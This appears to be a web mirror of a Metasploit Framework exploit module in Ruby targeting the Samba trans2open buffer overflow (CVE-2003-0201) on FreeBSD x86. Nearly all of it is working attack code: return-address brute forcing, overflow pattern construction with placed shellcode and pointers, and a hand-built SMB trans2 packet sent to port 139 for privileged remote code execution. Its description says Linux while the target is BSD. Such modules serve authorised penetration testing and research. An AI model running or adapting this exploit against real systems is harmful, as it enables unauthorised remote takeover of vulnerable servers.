CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/samba/trans2open.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::SMB::Client
10
include Msf::Exploit::Brute
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Samba trans2open Overflow (*BSD x86)',
15
'Description' => %q{
16
This exploits the buffer overflow found in Samba versions
17
2.2.0 to 2.2.8. This particular module is capable of
18
exploiting the flaw on x86 Linux systems that do not
19
have the noexec stack option set.
20
},
21
'Author' => [ 'hdm', 'jduck' ],
22
'License' => MSF_LICENSE,
23
'References' =>
24
[
25
[ 'CVE', '2003-0201' ],
26
[ 'OSVDB', '4469' ],
27
[ 'BID', '7294' ],
28
[ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]
29
],
30
'Privileged' => true,
31
'Payload' =>
32
{
33
'Space' => 1024,
34
'BadChars' => "\x00",
35
'MinNops' => 512,
36
'StackAdjustment' => -3500
37
},
38
'Platform' => 'bsd',
39
'Targets' =>
40
[
41
# tested OK - jjd:
42
# FreeBSD 5.0-RELEASE samba-2.2.7a.tbz md5:cc477378829309d9560b136ca11a89f8
43
[ 'Samba 2.2.x - Bruteforce',
44
{
45
'PtrToNonZero' => 0xbfbffff4, # near the bottom of the stack
46
'Offset' => 1055,
47
'Bruteforce' =>
48
{
49
'Start' => { 'Ret' => 0xbfbffdfc },
50
'Stop' => { 'Ret' => 0xbfa00000 },
51
'Step' => 256
52
}
53
}
54
],
55
],
56
'DefaultTarget' => 0,
57
'DisclosureDate' => '2003-04-07'
58
))
59
60
register_options(
61
[
62
Opt::RPORT(139)
63
])
64
65
deregister_options('SMB::ProtocolVersion')
66
end
67
68
def brute_exploit(addrs)
69
70
curr_ret = addrs['Ret']
71
begin
72
print_status("Trying return address 0x%.8x..." % curr_ret)
73
74
connect(versions: [1])
75
smb_login
76
77
# This value *must* be 1988 to allow findrecv shellcode to work
78
# XXX: I'm not sure the above comment is true...
79
pattern = rand_text_english(1988)
80
81
# See the OSX and Solaris versions of this module for additional
82
# information.
83
84
# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2
85
# (rpmbuild -bp ; edited/reran config.status ; make)
86
eip_off = target['Offset']
87
ptr_to_non_zero = target['PtrToNonZero']
88
89
# Stuff the shellcode into the request
90
pattern[0, payload.encoded.length] = payload.encoded
91
92
# We want test true here, so we overwrite conn with a pointer
93
# to something non-zero.
94
#
95
# 222 if (IS_IPC(conn)) {
96
# 223 return(ERROR(ERRSRV,ERRaccess));
97
# 224 }
98
pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')
99
100
# We want to avoid crashing on the following two derefences.
101
#
102
# 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)
103
# 117 {
104
# 118 int outsize = set_message(outbuf,0,0,True);
105
# 119 int cmd = CVAL(inbuf,smb_com);
106
pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')
107
pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')
108
109
# This stream covers the framepointer and the return address
110
#pattern[1199, 400] = [curr_ret].pack('N') * 100
111
pattern[eip_off, 4] = [curr_ret].pack('V')
112
113
trans =
114
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
115
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
116
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
117
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
118
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
119
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
120
pattern
121
122
# puts "press any key"; $stdin.gets
123
124
sock.put(trans)
125
handler
126
disconnect
127
128
rescue EOFError
129
rescue => e
130
print_error(e.to_s)
131
end
132
133
end
134
end
135
136